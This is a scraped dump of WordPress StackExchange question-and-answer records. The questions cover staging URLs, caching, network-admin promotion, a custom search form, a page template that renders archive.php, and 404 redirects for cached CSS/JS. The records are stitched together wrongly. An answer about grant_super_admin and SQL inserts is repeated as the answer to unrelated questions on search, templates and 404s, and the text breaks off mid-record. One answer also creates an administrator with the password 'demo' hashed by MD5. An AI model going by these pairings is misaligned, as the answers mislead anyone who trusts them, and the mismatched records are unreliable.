"text": "<p>I normally just map my hosts file to the correct IP. This would work if you were only wanting to work on a site from your box only.</p>\n\n<p>Only benefit to this option, as opposed to others, is that you wouldn't need to change any of your Wordpress settings to go live.</p>\n"
},
{
"answer_id": 255574,
"author": "Rick Hellewell",
"author_id": 29416,
"author_profile": "https://wordpress.stackexchange.com/users/29416",
"pm_score": 0,
"selected": false,
"text": "<p>I've found the easiest way is to change the domain name value in the wp_options table to the local IP address of the site. You can then test the site until the domain name is ready.</p>\n\n<p>When you are ready to go live, just go back into the wp_options table and change the URLs to the domain name (from the IP address that you used in testing. There are two locations for that, easily found.</p>\n"
},
{
"answer_id": 255658,
"author": "Nathaniel Flick",
"author_id": 87226,
"author_profile": "https://wordpress.stackexchange.com/users/87226",
"pm_score": 1,
"selected": false,
"text": "<p>I want to post my comment as an answer so it's more helpful. </p>\n\n<p>The normal way to set the url (htaccess plus database/wp-options update) is to set the url in .htaccess and also wp-options table for home and site urls.</p>\n\n<p>There is a good reason for not doing it in wp-config, as is mentioned on the <a href=\"http://codex.wordpress.org/Changing_The_Site_URL\" rel=\"nofollow noreferrer\">WordPress Codex site</a>:</p>\n\n<blockquote>\n <p>This is not necessarily the best fix, it's just hardcoding the values\n into the site itself. You won't be able to edit them on the General\n settings page anymore when using this method.</p>\n</blockquote>\n\n<p>This makes sense after you move a few sites; anything you can do to make this easier you will do. :) </p>\n\n<p>Edit: add actual code for .htaccess, then wp-config.php: </p>\n\n<pre><code># BEGIN WordPress\n# You will need to edit this to suit your server location\n<IfModule mod_rewrite.c>\nRewriteEngine On\nRewriteBase /\nRewriteRule ^index\\.php$ - [L]\nRewriteCond %{REQUEST_FILENAME} !-f\nRewriteCond %{REQUEST_FILENAME} !-d\nRewriteRule . /index.php [L]\n</IfModule>\n# END WordPress\n</code></pre>\n\n<p>In your database, go to <code>wp_options</code> table and find \"Site URL\" and \"Home URL\" (they are near the top when you open phpmyadmin) and change those to the url you want to render.</p>\n\n<p>If you have to update your hosts file you will need to point to the url you want your website to render to as you did in wp-options step above.</p>\n"
}
]
| 2017/02/07 | [
"https://wordpress.stackexchange.com/questions/255578",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/104460/"
]
| On my blog, for some reason, one of the category pages refuses to load new posts even when I clear all my caches. I'm using `WP Super Cache` (W3 Total Cache broke my site), `Autoptimize` and `Cloudflare` for caching.
I doubt the code is the problem since the other category pages are working just fine.
```
$query= new WP_Query(array(
'offset' => 1,
'cat' => $cat_ID
));
if ( $query->have_posts() ) while ( $query->have_posts() ) : $query->the_post();
get_template_part('content', get_post_format()); // loaded from content.php
endwhile;
```
What could be the cause of this? | I normally just map my hosts file to the correct IP. This would work if you were only wanting to work on a site from your box only.
Only benefit to this option, as opposed to others, is that you wouldn't need to change any of your Wordpress settings to go live. |
255,594 | <p>I took over an existing multisite network and I don't have the privileges to promote anyone to network admin through the WP Admin UI directly. How can I promote my site administrator to network admin via MySQL and/or WP CLI?</p>
| [
{
"answer_id": 255596,
"author": "Vinnie James",
"author_id": 34762,
"author_profile": "https://wordpress.stackexchange.com/users/34762",
"pm_score": 2,
"selected": false,
"text": "<p>You might use grant_super_admin() </p>\n\n<p>To add an admin by user ID you can use grant_super_admin. Simple put grant_super_admin in your theme’s functions.php file (usually in /wp-content/themes/CURRENT THEME NAME/functions.php). You’ll need to put the ID of the user as a variable, the example below we’re using the user ID of 1.</p>\n\n<pre><code>grant_super_admin(1);\n</code></pre>\n\n<p><a href=\"https://drawne.com/add-super-admin-wordpress-network/\" rel=\"nofollow noreferrer\">https://drawne.com/add-super-admin-wordpress-network/</a></p>\n\n<p>Or Some variation of this should do the trick:</p>\n\n<pre><code>INSERT INTO `databasename`.`wp_users` (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES ('4', 'demo', MD5('demo'), 'Your Name', '[email protected]', 'http://www.test.com/', '2011-06-07 00:00:00', '', '0', 'Your Name');\n\n\nINSERT INTO `databasename`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, '4', 'wp_capabilities', 'a:1:{s:13:\"administrator\";s:1:\"1\";}');\n\n\n\nINSERT INTO `databasename`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, '4', 'wp_user_level', '10');\n</code></pre>\n\n<p><a href=\"http://www.wpbeginner.com/wp-tutorials/how-to-add-an-admin-user-to-the-wordpress-database-via-mysql/\" rel=\"nofollow noreferrer\">http://www.wpbeginner.com/wp-tutorials/how-to-add-an-admin-user-to-the-wordpress-database-via-mysql/</a></p>\n"
},
{
"answer_id": 255600,
"author": "Arsalan Mithani",
"author_id": 111402,
"author_profile": "https://wordpress.stackexchange.com/users/111402",
"pm_score": 1,
"selected": false,
"text": "<p>Can you see this in user edit?</p>\n\n<p><a href=\"https://i.stack.imgur.com/wtimT.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/wtimT.png\" alt=\"enter image description here\"></a></p>\n"
},
{
"answer_id": 334321,
"author": "Ted Stresen-Reuter",
"author_id": 112766,
"author_profile": "https://wordpress.stackexchange.com/users/112766",
"pm_score": 2,
"selected": false,
"text": "<p>If you have access to the command line and can use <a href=\"https://wp-cli.org/\" rel=\"nofollow noreferrer\">wp-cli</a>, then you need to run two commands (assuming your site ID is 1):</p>\n\n<p><code>wp network meta get 1 site_admins</code></p>\n\n<p>This will return an array of all the site admins. Here is a sample array:</p>\n\n<pre><code>array (\n 0 => 'user',\n 1 => 'tedmasterweb',\n 2 => 'fredflintston',\n 3 => 'jcollins',\n)\n</code></pre>\n\n<p>You then need to execute the following command setting the key as <strong>4</strong> (one more than the highest number in the array above), e.g.:</p>\n\n<p><code>wp network meta patch insert 1 site_admins 4 myusername</code></p>\n\n<p>You might then need to log out and log back in to see the change.</p>\n\n<p><strong>Related documentation</strong></p>\n\n<p><a href=\"https://developer.wordpress.org/cli/commands/network/meta/update/\" rel=\"nofollow noreferrer\">https://developer.wordpress.org/cli/commands/network/meta/update/</a></p>\n"
}
]
| 2017/02/07 | [
"https://wordpress.stackexchange.com/questions/255594",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/83423/"
]
| I took over an existing multisite network and I don't have the privileges to promote anyone to network admin through the WP Admin UI directly. How can I promote my site administrator to network admin via MySQL and/or WP CLI? | You might use grant\_super\_admin()
To add an admin by user ID you can use grant\_super\_admin. Simple put grant\_super\_admin in your theme’s functions.php file (usually in /wp-content/themes/CURRENT THEME NAME/functions.php). You’ll need to put the ID of the user as a variable, the example below we’re using the user ID of 1.
```
grant_super_admin(1);
```
<https://drawne.com/add-super-admin-wordpress-network/>
Or Some variation of this should do the trick:
```
INSERT INTO `databasename`.`wp_users` (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES ('4', 'demo', MD5('demo'), 'Your Name', '[email protected]', 'http://www.test.com/', '2011-06-07 00:00:00', '', '0', 'Your Name');
INSERT INTO `databasename`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, '4', 'wp_capabilities', 'a:1:{s:13:"administrator";s:1:"1";}');
INSERT INTO `databasename`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, '4', 'wp_user_level', '10');
```
<http://www.wpbeginner.com/wp-tutorials/how-to-add-an-admin-user-to-the-wordpress-database-via-mysql/> |
255,625 | <p>I'm creating a website that has search feature. I am wondering what should i do in order to make the search box works like <code>search everything</code>. The search term that visitor inserted may be hitting the tag name of the post, category of the post, content inside post or title of the post. As long as there is a word within the post hit by search term, the result will show. I'm not going to use plugin, or to add radio button to my search form. I tried to search around but failed. Any suggestion and solution? </p>
<pre><code><!DOCTYPE html>
<html>
<?php get_header(); ?>
<body>
<?php $q1 = get_posts(array(
'post_status' => 'publish',
'posts_per_page' => '5',
's' => get_search_query()
)
);
$q2 = get_posts(array(
'post_status' => 'publish',
'posts_per_page' => '5',
'tax_query' => array(
//your query
)
)
);
$merged = array_merge($q1, $q2);
?>
<?php echo wp_specialchars($s); ?><br/>
<?php the_search_query(); ?><br/>
<?php the_search_query(); ?>
<br/>
<article>
<p>You have searched for "<?php echo wp_specialchars($s); ?>". We found <?php /* Search Count */
$allsearch = &new WP_Query("s=$s&showposts=-1");
$key = wp_specialchars($s, 1);
$count = $allsearch->post_count;
$text = '<span class="resultsFounds">';
if ( $allsearch->found_posts <= 0 ) {
$text .= sprintf(__( 'no company' ), $count );
}
elseif ( $allsearch->found_posts <= 1 ) {
$text .= sprintf(__( '%d related company' ), $count );
}
else {
$text .= sprintf(__( '%d related companies' ), $count );
}
$text .= '</span>';
echo $text;
?> with the keyword you searched for. If the results are not what you expected, we suggest you to try for different keywords which related to the company.</p>
<?php if (have_posts()) : ?>
<h2>Keywords : <?php echo wp_specialchars($s); ?><?php
/* Search Count */
$count = $wp_query->found_posts;
$text = '<span class="resultsFound">';
if ( $count <= 0 ) {
$text .= sprintf(__( '( no company )' ), $count );
}
elseif ( $count <= 1 ) {
$text .= sprintf(__( '( %d company )' ), $count );
}
else {
$text .= sprintf(__( '( %d companies )' ), $count );
}
$text .= '</span>';
echo $text;
?></h2>
<?php include("adsRandom.php"); ?>
<?php include("boostBiz/bizAds.php"); ?>
<?php while (have_posts()) : the_post(); ?>
<div class="ncc <?php the_ID(); ?><?php if( date('U') - get_the_time('U', $post->ID) < 24*60*60 ) : ?> new<?php endif; ?><?php if (is_sticky()) { ?> sponsored<?php } ?>" <?php if (is_sticky()) { ?>title="Our Advertiser"<?php } ?>>
<h3 class="excerpt"><a href="<?php the_permalink() ?>" title="<?php the_title(); ?>"><?php search_title_highlight(); ?></a></h3>
<?php search_excerpt_highlight(); ?>
<p class="excerptInfo"><?php printf( __( 'Listed in %2$s', 'NCC' ), 'entry-utility-prep entry-utility-prep-cat-links', get_the_category_list( ', ' ) ); ?> |<?php
$tags_list = get_the_tag_list( '', ', ' );
if ( $tags_list );
?>
<?php printf( __( ' Located In: %2$s', 'NCC' ), 'entry-utility-prep entry-utility-prep-tag-links', $tags_list ); ?><?php if( date('U') - get_the_time('U', $post->ID) < 24*60*60 ) : ?> | Published <?php echo get_the_date(); ?><?php endif; ?></p>
</div><!--ncc <?php the_ID(); ?>-->
<?php endwhile; ?>
<?php if(function_exists('wp_page_numbers')) { wp_page_numbers(); } ?>
<?php else : ?>
<h2><?php _e('Keywords : ','NCC'); ?><?php echo wp_specialchars($s); ?><?php /* Search Count */
$allsearch = &new WP_Query("s=$s&showposts=-1");
$key = wp_specialchars($s, 1);
$count = $allsearch->post_count;
$text = '<span class="resultsFound">';
if ( $allsearch->found_posts <= 0 ) {
$text .= sprintf(__( '( Nothing Found )' ), $count );
}
elseif ( $allsearch->found_posts <= 1 ) {
$text .= sprintf(__( '( We found %d company )' ), $count );
}
else {
$text .= sprintf(__( '( We found %d companies )' ), $count );
}
$text .= '</span>';
echo $text;
?></h2>
<article class="nccSingle">
<p>Your search - "<b><?php echo wp_specialchars($s); ?></b>" - did not match any documents. Possibly, there is no company listed with this keyword. Or, the inserted keyword was wrong in spelling?</p>
<p><b>Suggestions:</b></p>
<ul>
<li>Make sure all words are spelled correctly.</li>
<li>Try different keywords.</li>
<li>Try more general keywords.</li>
</ul>
</article>
<?php endif; ?>
</body>
</html>
</code></pre>
| [
{
"answer_id": 255596,
"author": "Vinnie James",
"author_id": 34762,
"author_profile": "https://wordpress.stackexchange.com/users/34762",
"pm_score": 2,
"selected": false,
"text": "<p>You might use grant_super_admin() </p>\n\n<p>To add an admin by user ID you can use grant_super_admin. Simple put grant_super_admin in your theme’s functions.php file (usually in /wp-content/themes/CURRENT THEME NAME/functions.php). You’ll need to put the ID of the user as a variable, the example below we’re using the user ID of 1.</p>\n\n<pre><code>grant_super_admin(1);\n</code></pre>\n\n<p><a href=\"https://drawne.com/add-super-admin-wordpress-network/\" rel=\"nofollow noreferrer\">https://drawne.com/add-super-admin-wordpress-network/</a></p>\n\n<p>Or Some variation of this should do the trick:</p>\n\n<pre><code>INSERT INTO `databasename`.`wp_users` (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES ('4', 'demo', MD5('demo'), 'Your Name', '[email protected]', 'http://www.test.com/', '2011-06-07 00:00:00', '', '0', 'Your Name');\n\n\nINSERT INTO `databasename`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, '4', 'wp_capabilities', 'a:1:{s:13:\"administrator\";s:1:\"1\";}');\n\n\n\nINSERT INTO `databasename`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, '4', 'wp_user_level', '10');\n</code></pre>\n\n<p><a href=\"http://www.wpbeginner.com/wp-tutorials/how-to-add-an-admin-user-to-the-wordpress-database-via-mysql/\" rel=\"nofollow noreferrer\">http://www.wpbeginner.com/wp-tutorials/how-to-add-an-admin-user-to-the-wordpress-database-via-mysql/</a></p>\n"
},
{
"answer_id": 255600,
"author": "Arsalan Mithani",
"author_id": 111402,
"author_profile": "https://wordpress.stackexchange.com/users/111402",
"pm_score": 1,
"selected": false,
"text": "<p>Can you see this in user edit?</p>\n\n<p><a href=\"https://i.stack.imgur.com/wtimT.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/wtimT.png\" alt=\"enter image description here\"></a></p>\n"
},
{
"answer_id": 334321,
"author": "Ted Stresen-Reuter",
"author_id": 112766,
"author_profile": "https://wordpress.stackexchange.com/users/112766",
"pm_score": 2,
"selected": false,
"text": "<p>If you have access to the command line and can use <a href=\"https://wp-cli.org/\" rel=\"nofollow noreferrer\">wp-cli</a>, then you need to run two commands (assuming your site ID is 1):</p>\n\n<p><code>wp network meta get 1 site_admins</code></p>\n\n<p>This will return an array of all the site admins. Here is a sample array:</p>\n\n<pre><code>array (\n 0 => 'user',\n 1 => 'tedmasterweb',\n 2 => 'fredflintston',\n 3 => 'jcollins',\n)\n</code></pre>\n\n<p>You then need to execute the following command setting the key as <strong>4</strong> (one more than the highest number in the array above), e.g.:</p>\n\n<p><code>wp network meta patch insert 1 site_admins 4 myusername</code></p>\n\n<p>You might then need to log out and log back in to see the change.</p>\n\n<p><strong>Related documentation</strong></p>\n\n<p><a href=\"https://developer.wordpress.org/cli/commands/network/meta/update/\" rel=\"nofollow noreferrer\">https://developer.wordpress.org/cli/commands/network/meta/update/</a></p>\n"
}
]
| 2017/02/08 | [
"https://wordpress.stackexchange.com/questions/255625",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/23036/"
]
| I'm creating a website that has search feature. I am wondering what should i do in order to make the search box works like `search everything`. The search term that visitor inserted may be hitting the tag name of the post, category of the post, content inside post or title of the post. As long as there is a word within the post hit by search term, the result will show. I'm not going to use plugin, or to add radio button to my search form. I tried to search around but failed. Any suggestion and solution?
```
<!DOCTYPE html>
<html>
<?php get_header(); ?>
<body>
<?php $q1 = get_posts(array(
'post_status' => 'publish',
'posts_per_page' => '5',
's' => get_search_query()
)
);
$q2 = get_posts(array(
'post_status' => 'publish',
'posts_per_page' => '5',
'tax_query' => array(
//your query
)
)
);
$merged = array_merge($q1, $q2);
?>
<?php echo wp_specialchars($s); ?><br/>
<?php the_search_query(); ?><br/>
<?php the_search_query(); ?>
<br/>
<article>
<p>You have searched for "<?php echo wp_specialchars($s); ?>". We found <?php /* Search Count */
$allsearch = &new WP_Query("s=$s&showposts=-1");
$key = wp_specialchars($s, 1);
$count = $allsearch->post_count;
$text = '<span class="resultsFounds">';
if ( $allsearch->found_posts <= 0 ) {
$text .= sprintf(__( 'no company' ), $count );
}
elseif ( $allsearch->found_posts <= 1 ) {
$text .= sprintf(__( '%d related company' ), $count );
}
else {
$text .= sprintf(__( '%d related companies' ), $count );
}
$text .= '</span>';
echo $text;
?> with the keyword you searched for. If the results are not what you expected, we suggest you to try for different keywords which related to the company.</p>
<?php if (have_posts()) : ?>
<h2>Keywords : <?php echo wp_specialchars($s); ?><?php
/* Search Count */
$count = $wp_query->found_posts;
$text = '<span class="resultsFound">';
if ( $count <= 0 ) {
$text .= sprintf(__( '( no company )' ), $count );
}
elseif ( $count <= 1 ) {
$text .= sprintf(__( '( %d company )' ), $count );
}
else {
$text .= sprintf(__( '( %d companies )' ), $count );
}
$text .= '</span>';
echo $text;
?></h2>
<?php include("adsRandom.php"); ?>
<?php include("boostBiz/bizAds.php"); ?>
<?php while (have_posts()) : the_post(); ?>
<div class="ncc <?php the_ID(); ?><?php if( date('U') - get_the_time('U', $post->ID) < 24*60*60 ) : ?> new<?php endif; ?><?php if (is_sticky()) { ?> sponsored<?php } ?>" <?php if (is_sticky()) { ?>title="Our Advertiser"<?php } ?>>
<h3 class="excerpt"><a href="<?php the_permalink() ?>" title="<?php the_title(); ?>"><?php search_title_highlight(); ?></a></h3>
<?php search_excerpt_highlight(); ?>
<p class="excerptInfo"><?php printf( __( 'Listed in %2$s', 'NCC' ), 'entry-utility-prep entry-utility-prep-cat-links', get_the_category_list( ', ' ) ); ?> |<?php
$tags_list = get_the_tag_list( '', ', ' );
if ( $tags_list );
?>
<?php printf( __( ' Located In: %2$s', 'NCC' ), 'entry-utility-prep entry-utility-prep-tag-links', $tags_list ); ?><?php if( date('U') - get_the_time('U', $post->ID) < 24*60*60 ) : ?> | Published <?php echo get_the_date(); ?><?php endif; ?></p>
</div><!--ncc <?php the_ID(); ?>-->
<?php endwhile; ?>
<?php if(function_exists('wp_page_numbers')) { wp_page_numbers(); } ?>
<?php else : ?>
<h2><?php _e('Keywords : ','NCC'); ?><?php echo wp_specialchars($s); ?><?php /* Search Count */
$allsearch = &new WP_Query("s=$s&showposts=-1");
$key = wp_specialchars($s, 1);
$count = $allsearch->post_count;
$text = '<span class="resultsFound">';
if ( $allsearch->found_posts <= 0 ) {
$text .= sprintf(__( '( Nothing Found )' ), $count );
}
elseif ( $allsearch->found_posts <= 1 ) {
$text .= sprintf(__( '( We found %d company )' ), $count );
}
else {
$text .= sprintf(__( '( We found %d companies )' ), $count );
}
$text .= '</span>';
echo $text;
?></h2>
<article class="nccSingle">
<p>Your search - "<b><?php echo wp_specialchars($s); ?></b>" - did not match any documents. Possibly, there is no company listed with this keyword. Or, the inserted keyword was wrong in spelling?</p>
<p><b>Suggestions:</b></p>
<ul>
<li>Make sure all words are spelled correctly.</li>
<li>Try different keywords.</li>
<li>Try more general keywords.</li>
</ul>
</article>
<?php endif; ?>
</body>
</html>
``` | You might use grant\_super\_admin()
To add an admin by user ID you can use grant\_super\_admin. Simple put grant\_super\_admin in your theme’s functions.php file (usually in /wp-content/themes/CURRENT THEME NAME/functions.php). You’ll need to put the ID of the user as a variable, the example below we’re using the user ID of 1.
```
grant_super_admin(1);
```
<https://drawne.com/add-super-admin-wordpress-network/>
Or Some variation of this should do the trick:
```
INSERT INTO `databasename`.`wp_users` (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES ('4', 'demo', MD5('demo'), 'Your Name', '[email protected]', 'http://www.test.com/', '2011-06-07 00:00:00', '', '0', 'Your Name');
INSERT INTO `databasename`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, '4', 'wp_capabilities', 'a:1:{s:13:"administrator";s:1:"1";}');
INSERT INTO `databasename`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, '4', 'wp_user_level', '10');
```
<http://www.wpbeginner.com/wp-tutorials/how-to-add-an-admin-user-to-the-wordpress-database-via-mysql/> |
255,635 | <p>I have a custom page template named "page-news.php" and it contains</p>
<pre><code><?php
/*
* Template Name: News
*/
get_header();
?>
test
<?php
wp_footer();
get_footer();
?>
</code></pre>
<p>and I then create a page and set the template to "News" but when I view the page, it does not display the contents on the page-news.php custom page template, instead it display the archive.php contents (I have test it, whatever I put unto the archive.php contents, it display on the page that I hook unto the page-news.php custom page template). Any ideas, help please? I'm running WP 4.7.2.</p>
| [
{
"answer_id": 255596,
"author": "Vinnie James",
"author_id": 34762,
"author_profile": "https://wordpress.stackexchange.com/users/34762",
"pm_score": 2,
"selected": false,
"text": "<p>You might use grant_super_admin() </p>\n\n<p>To add an admin by user ID you can use grant_super_admin. Simple put grant_super_admin in your theme’s functions.php file (usually in /wp-content/themes/CURRENT THEME NAME/functions.php). You’ll need to put the ID of the user as a variable, the example below we’re using the user ID of 1.</p>\n\n<pre><code>grant_super_admin(1);\n</code></pre>\n\n<p><a href=\"https://drawne.com/add-super-admin-wordpress-network/\" rel=\"nofollow noreferrer\">https://drawne.com/add-super-admin-wordpress-network/</a></p>\n\n<p>Or Some variation of this should do the trick:</p>\n\n<pre><code>INSERT INTO `databasename`.`wp_users` (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES ('4', 'demo', MD5('demo'), 'Your Name', '[email protected]', 'http://www.test.com/', '2011-06-07 00:00:00', '', '0', 'Your Name');\n\n\nINSERT INTO `databasename`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, '4', 'wp_capabilities', 'a:1:{s:13:\"administrator\";s:1:\"1\";}');\n\n\n\nINSERT INTO `databasename`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, '4', 'wp_user_level', '10');\n</code></pre>\n\n<p><a href=\"http://www.wpbeginner.com/wp-tutorials/how-to-add-an-admin-user-to-the-wordpress-database-via-mysql/\" rel=\"nofollow noreferrer\">http://www.wpbeginner.com/wp-tutorials/how-to-add-an-admin-user-to-the-wordpress-database-via-mysql/</a></p>\n"
},
{
"answer_id": 255600,
"author": "Arsalan Mithani",
"author_id": 111402,
"author_profile": "https://wordpress.stackexchange.com/users/111402",
"pm_score": 1,
"selected": false,
"text": "<p>Can you see this in user edit?</p>\n\n<p><a href=\"https://i.stack.imgur.com/wtimT.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/wtimT.png\" alt=\"enter image description here\"></a></p>\n"
},
{
"answer_id": 334321,
"author": "Ted Stresen-Reuter",
"author_id": 112766,
"author_profile": "https://wordpress.stackexchange.com/users/112766",
"pm_score": 2,
"selected": false,
"text": "<p>If you have access to the command line and can use <a href=\"https://wp-cli.org/\" rel=\"nofollow noreferrer\">wp-cli</a>, then you need to run two commands (assuming your site ID is 1):</p>\n\n<p><code>wp network meta get 1 site_admins</code></p>\n\n<p>This will return an array of all the site admins. Here is a sample array:</p>\n\n<pre><code>array (\n 0 => 'user',\n 1 => 'tedmasterweb',\n 2 => 'fredflintston',\n 3 => 'jcollins',\n)\n</code></pre>\n\n<p>You then need to execute the following command setting the key as <strong>4</strong> (one more than the highest number in the array above), e.g.:</p>\n\n<p><code>wp network meta patch insert 1 site_admins 4 myusername</code></p>\n\n<p>You might then need to log out and log back in to see the change.</p>\n\n<p><strong>Related documentation</strong></p>\n\n<p><a href=\"https://developer.wordpress.org/cli/commands/network/meta/update/\" rel=\"nofollow noreferrer\">https://developer.wordpress.org/cli/commands/network/meta/update/</a></p>\n"
}
]
| 2017/02/08 | [
"https://wordpress.stackexchange.com/questions/255635",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/24673/"
]
| I have a custom page template named "page-news.php" and it contains
```
<?php
/*
* Template Name: News
*/
get_header();
?>
test
<?php
wp_footer();
get_footer();
?>
```
and I then create a page and set the template to "News" but when I view the page, it does not display the contents on the page-news.php custom page template, instead it display the archive.php contents (I have test it, whatever I put unto the archive.php contents, it display on the page that I hook unto the page-news.php custom page template). Any ideas, help please? I'm running WP 4.7.2. | You might use grant\_super\_admin()
To add an admin by user ID you can use grant\_super\_admin. Simple put grant\_super\_admin in your theme’s functions.php file (usually in /wp-content/themes/CURRENT THEME NAME/functions.php). You’ll need to put the ID of the user as a variable, the example below we’re using the user ID of 1.
```
grant_super_admin(1);
```
<https://drawne.com/add-super-admin-wordpress-network/>
Or Some variation of this should do the trick:
```
INSERT INTO `databasename`.`wp_users` (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES ('4', 'demo', MD5('demo'), 'Your Name', '[email protected]', 'http://www.test.com/', '2011-06-07 00:00:00', '', '0', 'Your Name');
INSERT INTO `databasename`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, '4', 'wp_capabilities', 'a:1:{s:13:"administrator";s:1:"1";}');
INSERT INTO `databasename`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, '4', 'wp_user_level', '10');
```
<http://www.wpbeginner.com/wp-tutorials/how-to-add-an-admin-user-to-the-wordpress-database-via-mysql/> |
255,662 | <p>I have 404s generated for a deleted CSS&JS files and i want to redirect the requests for those files in general. I mean a redirect for all 404 generated for CSS&JS files. </p>
<p>These errors are generated by google crawlers.
Please note that those files are generated randomly from a caching plugin <code>WP Fastest Cache</code> which generates different file names on every delete for the cached files.. some times i make some CSS changes so i always have to delete those files.</p>
| [
{
"answer_id": 255596,
"author": "Vinnie James",
"author_id": 34762,
"author_profile": "https://wordpress.stackexchange.com/users/34762",
"pm_score": 2,
"selected": false,
"text": "<p>You might use grant_super_admin() </p>\n\n<p>To add an admin by user ID you can use grant_super_admin. Simple put grant_super_admin in your theme’s functions.php file (usually in /wp-content/themes/CURRENT THEME NAME/functions.php). You’ll need to put the ID of the user as a variable, the example below we’re using the user ID of 1.</p>\n\n<pre><code>grant_super_admin(1);\n</code></pre>\n\n<p><a href=\"https://drawne.com/add-super-admin-wordpress-network/\" rel=\"nofollow noreferrer\">https://drawne.com/add-super-admin-wordpress-network/</a></p>\n\n<p>Or Some variation of this should do the trick:</p>\n\n<pre><code>INSERT INTO `databasename`.`wp_users` (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES ('4', 'demo', MD5('demo'), 'Your Name', '[email protected]', 'http://www.test.com/', '2011-06-07 00:00:00', '', '0', 'Your Name');\n\n\nINSERT INTO `databasename`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, '4', 'wp_capabilities', 'a:1:{s:13:\"administrator\";s:1:\"1\";}');\n\n\n\nINSERT INTO `databasename`.`wp_usermeta` (`umeta_id`, `user_id`, `meta_key`, `meta_value`) VALUES (NULL, '4', 'wp_user_level', '10');\n</code></pre>\n\n<p><a href=\"http://www.wpbeginner.com/wp-tutorials/how-to-add-an-admin-user-to-the-wordpress-database-via-mysql/\" rel=\"nofollow noreferrer\">http://www.wpbeginner.com/wp-tutorials/how-to-add-an-admin-user-to-the-wordpress-database-via-mysql/</a></p>\n"
},
{
"answer_id": 255600,
"author": "Arsalan Mithani",
"author_id": 111402,
"author_profile": "https://wordpress.stackexchange.com/users/111402",
"pm_score": 1,
"selected": false,
"text": "<p>Can you see this in user edit?</p>\n\n<p><a href=\"https://i.stack.imgur.com/wtimT.png\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/wtimT.png\" alt=\"enter image description here\"></a></p>\n"
},
{
"answer_id": 334321,
"author": "Ted Stresen-Reuter",
"author_id": 112766,
"author_profile": "https://wordpress.stackexchange.com/users/112766",
"pm_score": 2,
"selected": false,
"text": "<p>If you have access to the command line and can use <a href=\"https://wp-cli.org/\" rel=\"nofollow noreferrer\">wp-cli</a>, then you need to run two commands (assuming your site ID is 1):</p>\n\n<p><code>wp network meta get 1 site_admins</code></p>\n\n<p>This will return an array of all the site admins. Here is a sample array:</p>\n\n<pre><code>array (\n 0 => 'user',\n 1 => 'tedmasterweb',\n 2 => 'fredflintston',\n 3 => 'jcollins',\n)\n</code></pre>\n\n<p>You then need to execute the following command setting the key as <strong>4</strong> (one more than the highest number in the array above), e.g.:</p>\n\n<p><code>wp network meta patch insert 1 site_admins 4 myusername</code></p>\n\n<p>You might then need to log out and log back in to see the change.</p>\n\n<p><strong>Related documentation</strong></p>\n\n<p><a href=\"https://developer.wordpress.org/cli/commands/network/meta/update/\" rel=\"nofollow noreferrer\">https://developer.wordpress.org/cli/commands/network/meta/update/</a></p>\n"
}
]
| 2017/02/08 | [
"https://wordpress.stackexchange.com/questions/255662",
"https://wordpress.stackexchange.com",
"https://wordpress.stackexchange.com/users/102224/"
]
| I have 404s generated for a deleted CSS&JS files and i want to redirect the requests for those files in general. I mean a redirect for all 404 generated for CSS&JS files.
These errors are generated by google crawlers.
Please note that those files are generated randomly from a caching plugin `WP Fastest Cache` which generates different file names on every delete for the cached files.. some times i make some CSS changes so i always have to delete those files. | You might use grant\_super\_admin()
To add an admin by user ID you can use grant\_super\_admin. Simple put grant\_super\_admin in your theme’s functions.php file (usually in /wp-content/themes/CURRENT THEME NAME/functions.php). You’ll need to put the ID of the user as a variable, the example below we’re using the user ID of 1.
```
grant_super_admin(1);
```
<https://drawne.com/add-super-admin-wordpress-network/>
Or Some variation of this should do the trick:
```
INSERT INTO `databasename`.`wp_users` (`ID`, `user_login`, `user_pass`, `user_nicename`, `user_email`, `user_url`, `user_registered`, `user_activation_key`, `user_status`, `display_name`) VALUES ('4', 'demo', MD5('demo'), 'Your Name', '[email protected]', 'http://www.test.com/', '2011-06-07 00:00:00', '', '0', 'Your Name');
